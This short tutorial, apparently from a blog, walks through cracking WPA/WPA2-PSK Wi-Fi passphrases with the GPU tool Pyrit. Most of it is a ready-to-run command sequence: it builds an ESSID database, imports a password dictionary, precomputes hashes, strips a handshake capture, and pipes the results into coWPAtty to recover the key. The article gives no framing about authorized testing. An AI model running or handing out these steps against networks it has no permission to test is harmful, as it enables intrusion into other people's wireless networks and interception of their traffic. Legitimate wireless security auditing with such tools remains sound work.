Wireless WPA/WPA2-PSK GPU Cracking with Pyrit

In this article we will see how we can attack Wireless Networks using Pyrit tool. Pyrit is a GPU cracker for attacking WPA/WPA2 PSK protocols. It allows to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time-tradeoff.

Pyrit works with many platforms including CUDA, ATI-Stream, OpenCL and VIA Padlock

How to:

Listing available cores

pyrit list_cores

Determining performance of cores

pyrit benchmark

Create a new ESSID

pyrit -e Linksys create_essid

Import list of passwords

pyrit -i dict.txt import_passwords

Start Batch Processing

pyrit batch

pyrit -r wpa2.cap -o wpa2strip.cap stripLive

Cracking WPA/WPA2-PSK using pyrit/coWPAtty

pyrit -e “Linksys” -i dict.txt passthrough | cowpatty -d – -r wpa2strip.cap -s “Linksys“

“-e” ESSID for the command
“-i” Filename for the command (‘-’ is stdin/stdout) # -f switch deprecated
“-d” Hash file
“-” Accept words on stdin
“-r” Packet capture file
“-s” Network SSID
